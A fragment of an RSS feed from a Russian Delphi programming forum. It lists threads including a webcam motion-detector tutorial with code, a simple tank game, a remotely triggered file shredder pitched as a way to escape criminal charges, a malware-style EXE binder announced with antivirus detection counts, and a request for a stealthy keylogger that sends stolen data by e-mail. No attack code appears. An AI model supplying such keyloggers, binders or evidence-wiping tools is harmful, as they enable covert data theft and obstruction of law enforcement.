Mouse1) рамку, что бы пользователь видел какую конкретно область он выделил..,далее нужно плясать по высоте и ширине от края экрана, для того что бы контуры рамки можно было увеличивать либо уменьшать - как при обычном выделении, но как это все выглядит в коде я не могу никак сообразить, подскажите кто в курсе как это должно быть или какие хоть функции использовать?</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>xXxSh@dowxXx</dc:creator>
<guid>https://delfcode.ru/forum/9-670-1</guid>
</item>
<item>
<title>Файловый шредер</title>
<link>https://delfcode.ru/forum/9-665-1</link>
<pubDate>Sun, 04 Mar 2012 20:01:26 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Очень полезная штука которая может спасти от статьи УК.&lt;br /&gt;Автор темы: tatsu&lt;br /&gt;Автор последнего сообщения: tatsu&lt;br /&gt;Количество ответов: 9</description>
<content:encoded>Здравствуйте, поскольку занимаюсь всякой дребеденью в сети (а кто тут не занимается?) решил заморочиться и написать файловый шредер. &lt;br /&gt; Столкнулся с задачкой - с чего начать, первое, что пришло на ум это TmemoryStream. Просто подгрузить в него файл, перезаписать сгенерироваными символами и выплюнуть на место, после чего просто удалить. Однако абсолютно не умею с ним работать. Дальше загрузки и выгрузки файла пока не сообразил. &lt;br /&gt; Вторая идея - плясать от hex-редактора, т.е. взять за основу редактор, сделать его автоматизированым и так же как и в первом случае генерировать символы, после чего записывать и удалять(естественно в обоих случаях, перезаписи и генерации многократные). Однако найденый мной hex-редактор( естественно на дельфи, естественно исходник) работает через tfilestream, который я вообще впервые увидел. &lt;br /&gt; Подскажите пожалуйста , какой вариант(memory или file) оптимален и если можно то мануал по работе с потоками в студию(подробный, для совсем аболтусов):) &lt;br /&gt; В проекте шредер управляемый через аську, с возможностью сноса заранее заданых критичных папок, одним кликом, ну и естественно максимальное быстродействие. Я не жадина - исходники в паблик.</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>tatsu</dc:creator>
<guid>https://delfcode.ru/forum/9-665-1</guid>
</item>
<item>
<title>Детектор движения из вэб камеры</title>
<link>https://delfcode.ru/forum/9-404-1</link>
<pubDate>Thu, 16 Feb 2012 17:21:17 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: C@T&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 12</description>
<content:encoded>Детектор движения из вэб камеры &lt;p&gt; Я знаю что данная тема не один рас поднималась, и на эту тему есть много статей но всеже я решил написать мини статью, так как на данном форуме эта тема еще не появлялась &lt;br /&gt; начнем с вывода изображения с вэб камеры на экран &lt;p&gt; первый способ: &lt;br /&gt; кидаем на форму панельку(TPanel),кнопку,и таймер &lt;br /&gt; и пишем такой код: &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, ExtCtrls, StdCtrls,ShellAPI; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Panel1: TPanel; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button1: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Timer1: TTimer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; const WM_CAP_START = WM_USER; &lt;br /&gt; WM_CAP_STOP = WM_CAP_START + 68; &lt;br /&gt; WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10; &lt;br /&gt; WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11; &lt;br /&gt; WM_CAP_SAVEDIB = WM_CAP_START + 25; &lt;br /&gt; WM_CAP_GRAB_FRAME = WM_CAP_START + 60; &lt;br /&gt; WM_CAP_SEQUENCE = WM_CAP_START + 62; &lt;br /&gt; WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20; &lt;br /&gt;&lt;br /&gt; function capCreateCaptureWindowA(lpszWindowName : PCHAR; &lt;br /&gt; dwStyle : longint; &lt;br /&gt; x : integer; &lt;br /&gt; y : integer; &lt;br /&gt; nWidth : integer; &lt;br /&gt; nHeight : integer; &lt;br /&gt; ParentWin : HWND; &lt;br /&gt; nId : integer&amp;#41;: HWND; &lt;br /&gt; stdcall external &apos;AVICAP32.DLL&apos;; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hWnd:THandle; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;hWnd := capCreateCaptureWindowA(&apos;Capture Window&apos;, &lt;br /&gt; WS_CHILD or WS_VISIBLE , &lt;br /&gt; 0, &lt;br /&gt; 0, &lt;br /&gt; Panel1.Width, &lt;br /&gt; Panel1.Height, &lt;br /&gt; Panel1.Handle, &lt;br /&gt; 0&amp;#41;; //создаем область для вывода получаемых в будущем картинок =&amp;#41; &lt;br /&gt;&lt;br /&gt; if hWnd &lt;&gt; 0 then //если при создании области ошибок не возникло, то сопкойно начинаем забирать данный с веб-камеры &lt;br /&gt; SendMessage(hWnd, WM_CAP_DRIVER_CONNECT, 0, 0&amp;#41;;&amp;nbsp;&amp;nbsp;//забираем картинку с вебкамеры &lt;br /&gt;&lt;br /&gt; Timer1.Enabled:=True; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; if hWnd &lt;&gt; 0 then &lt;br /&gt; SendMessage(hWnd, WM_CAP_GRAB_FRAME, 0, 0&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; кликаем на кнопку, и видем себя &lt;img src=&quot;http://s5.ucoz.net/sm/2/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot;&gt; &lt;br /&gt; но с помощью этого способа проблематично почучить битмап из карда, потомучто если просто копировать то что нарисовано на форме то для получения битмапа будет необходимо чтобы программа всегда была развернутой(на экране было видно картинку с вэб камеры) &lt;br /&gt; поэтому я привожу два способа &lt;p&gt; второй способ: &lt;p&gt; это способ с использованием нестаного набора компонентов называемого как DSpack(скачать можно тут http://code.google.com/p/dspack/downloads/list ) &lt;p&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, DSPack,DSUtil,DirectShow9, StdCtrls, ExtCtrls; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt; PPixelArray = ^TpixelArray;//указатель на масив байтов &lt;br /&gt; TPixelArray = array &amp;#91;0..0] of byte;//масив байтов &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FilterGraph1: TFilterGraph; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VideoWindow1: TVideoWindow; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Filter1: TFilter; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SampleGrabber1: TSampleGrabber; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ComboBox1: TComboBox; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Timer1: TTimer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button2: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button3: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure ComboBox1Change(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Timer1Timer(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button2Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button3Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;VideoDevice:TSysDevEnum; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;OldPixelsBuf:PPixelArray; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;SelectedX:integer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;SelectedY:integer; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.FormCreate(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt; i:integer; &lt;br /&gt; begin &lt;br /&gt; VideoDevice := TSysDevEnum.Create(CLSID_VideoInputDeviceCategory&amp;#41;;//получаем список устров с которых можно принять видео поток(получаем список веб камер&amp;#41; &lt;br /&gt; if VideoDevice.CountFilters &gt; 0 then//если есть хоть один девайс &lt;br /&gt; for i:=0 to VideoDevice.CountFilters - 1 do// то добавляем девайсы в список для выбора &lt;br /&gt; ComboBox1.Items.Add(VideoDevice.Filters&amp;#91;i].FriendlyName&amp;#41;; &lt;br /&gt;&lt;br /&gt; FilterGraph1.ClearGraph;//настраеваем фильтр &lt;br /&gt; FilterGraph1.Active := false; &lt;br /&gt; Filter1.BaseFilter.Moniker:=VideoDevice.GetMoniker(0&amp;#41;;//выводим изображение с первого девайса &lt;br /&gt; FilterGraph1.Active := true; &lt;br /&gt;&lt;br /&gt; //задайом что откуда нужно получать и что куда должно выводится &lt;br /&gt; with FilterGraph1 as ICaptureGraphBuilder2 do &lt;br /&gt; RenderStream(@PIN_CATEGORY_PREVIEW,nil, &lt;br /&gt; Filter1 as IBaseFilter, &lt;br /&gt; SampleGrabber1 as IBaseFilter, &lt;br /&gt; VideoWindow1 as IbaseFilter&amp;#41;; &lt;br /&gt;&lt;br /&gt; //выводим изображение &lt;br /&gt; FilterGraph1.Play; &lt;br /&gt; //VideoWindow1.Visible := false; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.ComboBox1Change(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; FilterGraph1.ClearGraph; &lt;br /&gt; FilterGraph1.Active := false; &lt;br /&gt; Filter1.BaseFilter.Moniker:=VideoDevice.GetMoniker(ComboBox1.ItemIndex&amp;#41;;//меняем девайс на выбранный &lt;br /&gt; FilterGraph1.Active := true; &lt;br /&gt; //Ica &lt;br /&gt;&lt;br /&gt; with FilterGraph1 as ICaptureGraphBuilder2 do &lt;br /&gt; RenderStream(@PIN_CATEGORY_PREVIEW,nil, &lt;br /&gt; Filter1 as IBaseFilter, &lt;br /&gt; SampleGrabber1 as IBaseFilter, &lt;br /&gt; VideoWindow1 as IbaseFilter&amp;#41;; &lt;br /&gt;&lt;br /&gt; FilterGraph1.Play; &lt;br /&gt;&lt;br /&gt; OldPixelsBuf := nil; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Function GetPixelsArrayFromBitmap(h:HBITMAP;Width,Height:integer&amp;#41;:PPixelArray;//функция получения масива пикселей из битмапа &lt;br /&gt; var &lt;br /&gt; n:integer; &lt;br /&gt; TempByte:Byte; &lt;br /&gt; i:integer; &lt;br /&gt; BMInfo:TBitmapInfo; &lt;br /&gt; Buf: PPixelArray; &lt;br /&gt; MemDC:hdc; &lt;br /&gt; begin &lt;br /&gt; FillChar(BMInfo,SizeOf(BMInfo&amp;#41;,0&amp;#41;; &lt;br /&gt; BMInfo.bmiHeader.biSize:=SizeOf(TBitmapInfoHeader&amp;#41;; &lt;br /&gt; BMInfo.bmiHeader.biBitCount := 24; &lt;br /&gt; BMInfo.bmiHeader.biWidth := Width; &lt;br /&gt; BMInfo.bmiHeader.biHeight := Height; &lt;br /&gt; n := BMInfo.bmiHeader.biWidth * BMInfo.bmiHeader.biHeight; &lt;br /&gt; BMInfo.bmiHeader.biPlanes := 1; &lt;br /&gt; BMInfo.bmiHeader.biCompression := BI_RGB; &lt;br /&gt;&lt;br /&gt; MemDC := CreateCompatibleDC(0&amp;#41;; &lt;br /&gt; GetMem(Buf,n*3&amp;#41;; &lt;br /&gt; GetDIBits(MemDC,h,0,BMInfo.bmiHeader.biHeight,Buf,BMInfo,DIB_RGB_COLORS&amp;#41;; &lt;br /&gt; for i:=0 to n do begin &lt;br /&gt; TempByte := Buf&amp;#91;i*3]; &lt;br /&gt; Buf&amp;#91;i*3] := Buf&amp;#91;i*3 + 2]; &lt;br /&gt; Buf&amp;#91;i*3 + 2] := TempByte; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Result := Buf; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.Timer1Timer(Sender: TObject&amp;#41;;//процедура таймера &lt;br /&gt; var &lt;br /&gt; b:tbitmap; &lt;br /&gt; n:integer;//кол-во пикселей &lt;br /&gt; PixelsAreChanged:integer;//количество измененных пикселей &lt;br /&gt; i:integer; &lt;br /&gt; PixelsBuf: PPixelArray;//масив пикселей &lt;br /&gt;&lt;br /&gt; r1,g1,b1:byte;//RGB текущего кадра &lt;br /&gt; r2,g2,b2:byte;//RGB перведущего кадра &lt;br /&gt; begin &lt;br /&gt; b:=TBitmap.Create;//создайом битмап &lt;br /&gt; SampleGrabber1.GetBitmap(b&amp;#41;;//получаем битмап из битмап из текущего кадра &lt;br /&gt;&lt;br /&gt; PixelsBuf:=GetPixelsArrayFromBitmap(b.Handle,b.Width,b.Height&amp;#41;;//получаем масив пикселей этого битмапа(можно конечноже использовать и b.Canvas.Pixels&amp;#91;x,y] но это негативно скажется на быстродействии программы&amp;#41; &lt;br /&gt; n:=b.Width*b.Height;//считаем кол-во пикселов &lt;br /&gt;&lt;br /&gt; PixelsAreChanged := 0; &lt;br /&gt; if OldPixelsBuf &lt;&gt; nil then//если преведущий кадр существует то &lt;br /&gt; for i := 0 to n do//начинаем сравнивать текущий кадр с преведущим &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r1:=PixelsBuf&amp;#91;i*3]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;g1:=PixelsBuf&amp;#91;i*3 + 1]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;b1:=PixelsBuf&amp;#91;i*3 + 2]; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r2:=OldPixelsBuf&amp;#91;i*3]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;g2:=OldPixelsBuf&amp;#91;i*3 + 1]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;b2:=OldPixelsBuf&amp;#91;i*3 + 2]; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (r1-r2&amp;#41;&gt;20 then Inc(PixelsAreChanged&amp;#41;;//если произошли изменеия то увеличеваем счетчик изменений &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (g1-g2&amp;#41;&gt;20 then Inc(PixelsAreChanged&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (b1-b2&amp;#41;&gt;20 then Inc(PixelsAreChanged&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; FreeMem(OldPixelsBuf&amp;#41;;//освобождаем память старого масива пикселей &lt;br /&gt; OldPixelsBuf:=PixelsBuf;//текущий масив пикселей(пиксели текущего кадра&amp;#41; становится старым масивом &lt;br /&gt;&lt;br /&gt; if PixelsAreChanged &gt; 2000 then//проверяем сколько произошло изменений &lt;br /&gt; MessageBeep(MB_OK&amp;#41;;//если изменений произошло больше нормы то подайом звуковой сигнал &lt;br /&gt;&lt;br /&gt; b.Free;//освобождаем битмап &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button2Click(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; Timer1.Enabled := true;//старт &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button3Click(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt; Timer1.Enabled:=false;//стоп &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;p&gt; в итоге у нас получится програмка трещащая на движения как счетчик гейгера</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>C@T</dc:creator>
<guid>https://delfcode.ru/forum/9-404-1</guid>
</item>
<item>
<title>2JOINER</title>
<link>https://delfcode.ru/forum/9-522-1</link>
<pubDate>Sun, 12 Feb 2012 06:42:24 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: My first joiner&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: Android&lt;br /&gt;Количество ответов: 11</description>
<content:encoded>Писал пол дня. В итоге VT показал 14&amp;#92;43. Решил сделать чем то вроде паблик проекта. &lt;br /&gt; Склеивает 2 файла в один. Клеит только ЕХЕ. Работает со стабом (Стаб - 8 кб (без сжатия). Мог переписать на апи, но для первой версии решил оставить модуль Windows). После запуска файла, из него выгружаются и запускаются склеенные файлы. Имена файлов при изьятии пока менять нелья (f1.exe&amp;#92;f2.exe). &lt;br /&gt; Выкладываю для вашей оценки. &lt;br /&gt; &lt;!--IMG2--&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/5/2323655.png&quot; align=&quot;&quot; /&gt;&lt;!--IMG2--&gt; &lt;br /&gt; Пароль на архив: delfcode.ru</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/9-522-1</guid>
</item>
<item>
<title>Нужен кейлогер))</title>
<link>https://delfcode.ru/forum/9-601-1</link>
<pubDate>Thu, 29 Dec 2011 13:27:15 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Очень срочно...&lt;br /&gt;Автор темы: link993&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>Друзья, мне срочно нужен кейлогер. Главное не палевный и который посылает свои логи куда нить, чтоб я мог их взять. Нужен очень срочно! Умоляю вас дайте что нибудь подходящее. &lt;br /&gt;&lt;br /&gt; Просто нужен кейлогер, чтобы украсть информацию с компьютера пользователя. Размер значения не имеет. Тащил чтоб английские и русские буквы. &lt;br /&gt;&lt;br /&gt; + посылал логи на e-mail или на icq. Короче куданибудь чтоб я мог их взять.</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>link993</dc:creator>
<guid>https://delfcode.ru/forum/9-601-1</guid>
</item>
<item>
<title>Подобие танчиков)</title>
<link>https://delfcode.ru/forum/9-471-1</link>
<pubDate>Wed, 30 Nov 2011 11:08:00 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Игра на Delphi&lt;br /&gt;Автор темы: gravitas&lt;br /&gt;Автор последнего сообщения: GReIIIHuK&lt;br /&gt;Количество ответов: 4</description>
<content:encoded>Вобщем игрался я &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt; Написал простенькую игрульку. Правда возможность стрелять не добавил. Управлять танком на клавиатуре через стрелки. &lt;br /&gt; Строго не судим)</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/9-471-1</guid>
</item>

</channel>
</rss>